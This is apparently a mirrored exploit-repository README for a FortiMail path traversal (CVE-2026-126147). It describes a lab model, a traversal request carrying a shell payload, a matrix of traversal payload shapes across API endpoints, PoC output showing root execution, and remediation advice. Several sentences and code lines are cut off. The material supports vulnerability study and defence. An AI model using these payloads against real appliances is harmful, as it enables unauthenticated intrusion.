Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • November 12, 2026

# CVE-2026-126147 — FortiMail management interface path traversal (arbitrary file write → command execution)

| **Component** | Fortinet FortiMail — web management interface API |

| **Advisory** | Fortinet PSIRT **FG-IR-26-199**, published 2026-11-10 |

| **Affected** | FortiMail **8.0.0 – 8.0.1**, **7.6.0 – 7.6.6**, **7.4.0 – 7.4.8**, **7.2** all versions |

| **Fixed in** | FortiMail **8.0.2**, **7.6.7**, **7.4.9**; migrate off 7.2 |

| **CWE** | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |

| **Impact** | Unauthenticated remote code execution as the appliance service account (root on the appliance) |

| **Vector** | Network, **unauthenticated** — a crafted request to the management interface API |

| **Trigger** | The caller-supplied path component of a file write or file read request |

Fortinet's advisory (FG-IR-26-199) describes an *improper limitation of a pathname to a

restricted directory* in FortiMail and states that the flaw "may allow an unauthenticated

attacker to execute unauthorized code or commands via crafted requests". The component

is the FortiMail API, and the vector is a request that carries a path the appliance is

not supposed to leave its restricted data directory.

That is exactly the shape of the defect reproduced here. A management-interface request

carries a caller-supplied path. The appliance joins it to a restricted root directory

and hands the result to the file system. Nothing constrains the joined path to the

root, so `../` leaves it. The file lands wherever the attacker chose, and on FortiMail

that includes the directories the appliance reads and executes — which turns a

directory traversal into "execute unauthorized code or commands" without any

authentication, any prior access and any user interaction.

This repository contains a containerised laboratory that reproduces the flaw end to

end, a differential against the patched behaviour, a payload and endpoint sweep against

the patched line, and the result of testing the mitigation in the two forms it can

## 1. Scope and fidelity of this laboratory

FortiMail is proprietary software. None of its code, binaries or configuration are

redistributed here, and Fortinet does not publish the management interface's endpoint

list or its path handling. What is reproducible here is therefore:

* **the vendor's own statement of the defect** — CWE-22, API component,

unauthenticated, crafted requests, CVSS 9.8, and the affected/fixed version matrix —

taken from FG-IR-26-199 and the CVE record;

* **the security-relevant behaviour of the management interface** — a set of

unauthenticated endpoints that accept a caller-supplied path, a restricted data

directory, a linked data directory, and an appliance script directory that the

* **the file-system semantics** that turn a traversal into code execution. These are

properties of POSIX path resolution and of the appliance's own layout, not of

Everything this repository asserts the *vendor product* is sourced from the

advisory. Everything it asserts the *model* is labelled as such. The model is the

only thing that runs in the laboratory, and it is built so that the vulnerable and the

patched behaviour differ in the path handling alone.

The model lives in `lab/fortimail_web.py` and is selected with `FML_MODE`:

| `FML_MODE` | behaviour | version reported |

| `vuln` | the caller-supplied path is joined to the restricted root with no normalisation and no containment check — the traversal escapes | 8.0.1 |

| `fixed` | the joined path is resolved and the resolved path must stay inside the restricted root; every write and read that leaves it is refused | 8.0.2 |

| `fixed-partial` | a remediation *shape* that compares the un-normalised joined path against the root with a string prefix test | 8.0.2 |

`fixed-partial` is **not** a claim the vendor's patch. It is the shape a hurried

fix takes, and it exists here so that the sweep has a target that is neither the

Three properties of the model are worth stating explicitly, because each of them

changes what an attacker can do and each of them is a property of the appliance rather

* the management interface **decodes the caller-supplied path a second time** before

using it, so a percent-encoded traversal is decoded twice in total;

* the path handling **truncates at a NUL byte**, the way a C implementation of it does;

* the restricted data directory contains a **linked data directory** (`shared-link`)

that points at the appliance script directory.

The whole defect is the path handling. In the model it is three functions, and the

vulnerable and the patched build differ in one of them.

The vulnerable build joins the caller-supplied name to the restricted root and returns

the result, with no normalisation and no containment check —

# FortiMail 8.0.1 model: the caller-supplied name is appended to the

# restricted root and handed to the file system as it is.

`os.path.join()` is a string operation. It does not resolve `..`, it does not notice

that the second component is absolute, and it does not care that the result leaves the

directory it was supposed to stay in. For the name `../exec/pwn.sh` and the root

The patched build resolves the path first and then requires containment —

# FortiMail 8.0.2 model: resolve, then require containment.

target = os.path.realpath(os.path.join(ROOT, name))

return None, "path outside the restricted directory"

with the containment test at `lab/fortimail_web.py:122`:

return real == root or real.startswith(root + os.sep)

`realpath()` is what makes the check meaningful. It collapses `..`, it resolves

symlinks, and it makes the comparison against the root a comparison of two absolute,

fully-resolved paths. A path that merely *starts* with the root is not inside the

root, and the patched build refuses it with HTTP 403.

The write itself carries no authorization. The management interface in the model

serves the API without an authentication gate, because the advisory rates the flaw

`AV:N/AC:L/PR:N/UI:N` — the request is processed before any authentication decision.

self._json(403, {"error": perr, "path": name})

The traversal becomes code execution because the appliance executes what lands in its

script directory. `lab/fortimail_web.py:219`:

"""The appliance's maintenance task runner executes what lands in the script

directory. This is the sink that turns the traversal into code execution."""

if not (real.startswith(execroot + os.sep) or real == execroot):

The check is performed on the **resolved** path, so it holds for a symlink as well as

for a `..` traversal: a file that reaches the script directory through the linked data

directory is executed exactly like one that arrives through `../`.

unauthenticated attacker FortiMail appliance

─────────────────────── ────────────────────

{"filename": "../../../opt/lab/exec/x.sh",

┌──────────────────────────────────────────────────────────────┐

│ management interface API │

│ decode the path → join to the restricted root │

│ no containment check → the file is written outside it │

└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐

│ appliance script directory → maintenance task runner │

│ /bin/sh as the appliance service account (root) │

└──────────────────────────────────────────────────────────────┘

Four endpoints of the modelled interface take a caller-supplied path, and the sweep

| `POST /api/v1/attachment/upload` | JSON `{"filename", "content_b64"}` | write |

| `POST /api/v1/config/import` | `multipart/form-data`, `filename` part | write |

| `POST /api/v1/ibe/key` | JSON `{"name", "content_b64"}` | write |

| `GET /api/v1/attachment/download?path=` | query parameter | read |

The read direction matters for the remediation: a fix that confines the write path

but not the read path leaves arbitrary file disclosure behind. The patched model

Podman network `cve126147lab`; every container is bounded (`--cpus 2 --memory 4g`).

| `fortimail-vuln` | the FortiMail 8.0.1 model — vulnerable | `FML_MODE=vuln` |

| `fortimail-fixed` | the FortiMail 8.0.2 model — patched | `FML_MODE=fixed` |

| `fortimail-fixed-partial` | the prefix-test remediation shape | `FML_MODE=fixed-partial` |

| poc runner (ephemeral) | the proof of concept, stdlib-only Python | — |

All three appliance models run **the same image** and differ only in `FML_MODE`: same

base image, same code path, same configuration, same entrypoint, same TLS listener.

Two details make the reproduction faithful rather than merely plausible:

* **The management interface is served over TLS**, on port 443 inside the container,

with a self-signed certificate generated at build time. The PoC does not verify the

certificate, exactly as a script against an appliance would not.

* **The proof does not rely on the model cooperating.** The traversal payload is aimed

at the shared results volume, so the PoC reads back the file it wrote and confirms

that the write landed outside the restricted directory. The execution marker is

written by the executed script itself, into the same shared volume.

The appliance runs as `uid 0` inside the container, which is the same privilege level

as the appliance service account on the real product.

make prepare # build the two images and create the network

make up # start the three appliance models

make check-vuln # classification against the vulnerable model (exit 1 = vulnerable)

make check-fixed # classification against the patched model (exit 0 = safe)

make exploit-vuln # the full chain, with the execution marker

make exploit-fixed # the same chain against the patched model

make probe # the payload x endpoint matrix on the patched model

make mitigation # the mitigation, as published and as it takes effect

make differential # the three-way differential table

make evidence # capture everything into evidence/

(`./run-lab.sh up|check|exploit|probe|mitigation|0day|differential|evidence|down`).

`poc/poc.py` runs inside the PoC runner image and uses the Python standard library

| `check` | classification: one benign write inside the restricted directory, then a read traversal of a file that lives outside it. No artefact is left outside the directory. |

| `exploit` | the full chain: the traversal write, the file landing in the appliance script directory, the appliance executing it, and the marker read back |

| `probe` | the payload × endpoint matrix against the patched model |

| `mitigation` | the vendor workaround (none) and the mitigation that actually takes effect |

| `0day` | the full sweep against the patched line, with the remediation shape reported separately |

| `0` | safe — the appliance refused the traversal |

| `1` | vulnerable — the traversal escaped, or the payload was executed |

| `3` | primitive confirmed, gadget blocked |

The traversal write is a single JSON request. The name leaves the restricted

directory, the content is a shell script that writes a marker:

"content_b64": "IyEvYmluL3NoCmlkID4gL3Jlc3VsdHMvbWFya2VyL3B3bl84ZjNjMWQ5NC50eHQgMj4mMQplY2hvICdUT0tFTj04ZjNjMWQ5NCcgPj4gL3Jlc3VsdHMvbWFya2VyL3B3bl84ZjNjMWQ5NC50eHQKZWNobyAnUFdORUQnID4+IC9yZXN1bHRzL21hcmtlci9wd25fOGYzYzFkOTQudHh0Cg=="

The script's first line is `id`, so the marker records the identity of the account the

The token is generated per run, so a marker can be attributed to the request that

| path | vulnerable model (8.0.1) | patched model (8.0.2) | evidence |

| `POST /api/v1/attachment/upload` — `../` | **escapes, executed** | 403, refused | `evidence/exploit-vulnerable-run.txt`, `evidence/exploit-fixed-run.txt` |

| `POST /api/v1/config/import` — multipart filename | **escapes** | 403, refused | `evidence/0day-sweep-fixed.txt` |

| `POST /api/v1/ibe/key` — `name` field | **escapes** | 403, refused | `evidence/0day-sweep-fixed.txt` |

| `GET /api/v1/attachment/download?path=` | **reads outside the root** | 403, refused | `evidence/check-vulnerable-run.txt`, `evidence/check-fixed-run.txt` |

| percent-encoded traversal (`..%2f..%2f`) | **escapes** | 403, refused | `evidence/0day-sweep-fixed.txt` |

| NUL-byte truncation (`..%00`) | **escapes** | 403, refused | `evidence/0day-sweep-fixed.txt` |

| absolute path (`/tmp/x`) | **escapes** | 403, refused | `evidence/0day-sweep-fixed.txt` |

| symlinked data directory | **escapes, executed** | 403, refused | `evidence/0day-sweep-fixed.txt` |

| prefix-test remediation shape | **escapes, executed** | — | `evidence/0day-sweep-fixed-partial.txt` |

| double-encoded traversal (`..%252f`) | stored inside the directory | stored inside the directory | `evidence/0day-sweep-fixed.txt` |

| `....//` and backslash separators | stored inside the directory | stored inside the directory | `evidence/0day-sweep-fixed.txt` |

| model | traversal write | file outside the root | executed | PoC exit | verdict |

| `vuln` — FortiMail 8.0.1 model | 200 | **yes** | **yes** | 1 | **VULNERABLE** — unauthenticated code execution as root |

| `fixed` — FortiMail 8.0.2 model | 403 | no | no | 0 | **SAFE** |

| `fixed-partial` — prefix-test remediation shape | 200 | **yes** | **yes** | 1 | **VULNERABLE** — the traversal survives the prefix test |

The three controls are what make this a proof rather than an anecdote: the same

request, the same network and the same file system against three path-handling

"path": "../exec/pwn_0de90e75646c1720.sh",

"stored": "../exec/pwn_0de90e75646c1720.sh"

"uid=0(root) gid=0(root) groups=0(root)",

"path": "../exec/pwn_494aee6bab358e23.sh",

"error": "path outside the restricted directory",

"path": "../exec/pwn_494aee6bab358e23.sh"

"detail": "the appliance refused the traversal write (HTTP 403); nothing was stored outside the restricted directory",

The appliance-side execution log for the same run

executed /opt/lab/exec/pwn_0de90e75646c1720.sh rc=0

The flaw fires only when all of the following hold, and each of them is a deployment

decision rather than a property of the attacker:

* **The management interface must be reachable.** The API that carries the path

component has to be exposed on the network the attacker is on. On an appliance whose

management interface is restricted to a management VLAN, the request never arrives.

* **The feature behind the endpoint must be enabled.** The write endpoints of the

model correspond to the attachment store, the configuration import and the IBE key

store. An appliance that does not use them does not expose them.

* **The service account must be privileged.** The appliance runs the management

interface as `root`, so a file that reaches the script directory inherits full

system rights. In the laboratory the model runs as `uid 0` inside its container,

* **The script directory has to be on the execution path.** The traversal writes a

file; it is the appliance's own task runner that makes the write into code

execution. An appliance that stores the written file somewhere inert still suffers

## 9. Additional findings (0-day sweep on the fixed line)

The sweep ran the 12 payload shapes against all four endpoints on the patched model.

Every item below was executed against it, and the negative results are captured in

### 9.1 The patched model refuses every traversal shape

| payload shape | patched model | vulnerable model |

| percent-encoded `..%2f..%2f` | 403 | escaped |

| NUL-byte truncation `..%00` | 403 | escaped |

| absolute path `/tmp/x` | 403 | escaped |

| prefix-bypass `store/../../../../` | 403 | escaped |

| symlinked data directory | 403 | escaped and executed |

| double-encoded `..%252f` | 200, stored **inside** the directory | stored inside the directory |

| `....//` | 200, stored **inside** the directory | stored inside the directory |

| backslash separators | 200, stored **inside** the directory | stored inside the directory |

Zero escapes on the patched line. The last three rows are not misses: on a POSIX file

system `..%252f`, `....//` and `..\..\` do not name a parent directory, so the

appliance stores them as ordinary file names inside the restricted directory. The

PoC reports them as "stored inside the directory" rather than as failures, because a

request that succeeds and stays inside the directory is the correct behaviour.

### 9.2 The read direction is covered by the fix as well

The traversal is not only a write primitive. `GET /api/v1/attachment/download?path=`

reads a file the appliance was not asked to expose, and on the vulnerable model it

returns the content of a file outside the restricted directory — the secret the

appliance keeps to its data directory — with HTTP 200. The patched model refuses

This is the observable the `check` mode uses, because it leaves nothing behind: the

### 9.3 A symlinked data directory is an execution primitive without a `..`

The linked data directory `shared-link` inside the restricted root points at the

appliance script directory. A request whose name is `shared-link/x.sh` contains no

traversal sequence at all, and it still lands the file in the script directory, where

the appliance executes it. The sweep records it as `executed: true` against the

vulnerable model and against the remediation shape.

The patched model refuses it, and it refuses it for the right reason: the containment

test compares the **resolved** path against the resolved root, so a symlink cannot

launder a path past the check. A fix that only collapses `..` — without resolving

symlinks — would leave this primitive open.

### 9.4 A prefix test on the joined path is not a containment check

The remediation shape in the laboratory is the obvious hurried fix: compare the joined

path with the root using `str.startswith`. It stops the absolute path, because

`os.path.join("/opt/lab/store", "/tmp/x")` discards the root and returns `/tmp/x`,

which does not start with the root. It stops nothing else:

| payload | prefix test | resolved path | escaped |

| `../../../results/x` | passes | `/results/x` | **yes** |

| `store/../../../../results/x` | passes | `/results/x` | **yes** |

| `shared-link/x` | passes | `/opt/lab/exec/x` | **yes**, and executed |

| `..%2f..%2fresults/x` | passes | `/results/x` | **yes** |

The reason is structural: `startswith` compares two strings, and the string

`/opt/lab/store/../../../results/x` does start with `/opt/lab/store` while the path it

names is somewhere else entirely. Only a comparison between two **resolved** paths

answers the question the check is asking.

FG-IR-26-199 publishes **no workaround**: there is no CLI toggle and no virtual patch

for this advisory. The `mitigation` mode states that and then tests the two controls

The first is the filter people write for this class of bug — reject any request whose

body contains `../`. Applied to the twelve payload shapes it blocks seven and lets

five through, because the filter matches one literal sequence:

| blocked by the `../` filter | not blocked |

| `../`, `../../`, `....//`, `..%00`, `store/../../`, `./../`, `subdir/../../` | percent-encoded `..%2f`, double-encoded `..%252f`, absolute `/tmp/x`, the symlinked data directory, backslash separators |

The filter does not take effect, and a filter that only matches the literal two-dot

slash sequence is a control that gives an operator false confidence. The effective

mitigation is reachability: the management interface is not exposed to the network the

attacker is on, so the crafted request is never delivered. The mode demonstrates that

against a target with no listener, which is the state the mitigation is supposed to

### 9.6 What the sweep does not establish

The advisory does not name the endpoint that carries the flaw, so the laboratory

models the class of handler rather than a specific FortiMail URL. The sweep therefore

establishes that the *class* is exploitable in the way the advisory describes and that

the modelled containment check closes it — it does not establish which FortiMail

endpoint is the affected one. That question is answered by the advisory and the

vendor's own analysis of the affected builds.

* Upgrade to FortiMail **8.0.2** (8.0 branch), **7.6.7** (7.6 branch) or **7.4.9**

(7.4 branch). FortiMail 7.2 is unfixed — migrate to a fixed branch.

* FortiMail Cloud was remediated by Fortinet on 2026-10-05 by moving the firmware to

7.6.7 GA / 8.0.2 GA; no action is required for cloud tenants.

* FG-IR-26-199 publishes no workaround and no virtual patch.

* Until the appliance can be updated, restrict access to the management interface to

trusted internal networks and management VPNs. A request filter in front of the

interface is not a substitute: §9.5 shows the filter shape that is normally deployed

CITATION.cff citation metadata

SECURITY.md security policy

Makefile convenience targets

run-lab.sh environment driver

Containerfile the appliance image (all three models)

fortimail_web.py the model of the FortiMail management interface

Containerfile the PoC runner image

poc.py the proof of concept

* — Fortinet PSIRT advisory FG-IR-26-199

Extracted Entities

Attack Types (1)

Companies (1)

CWE Weaknesses (1)

Platforms (1)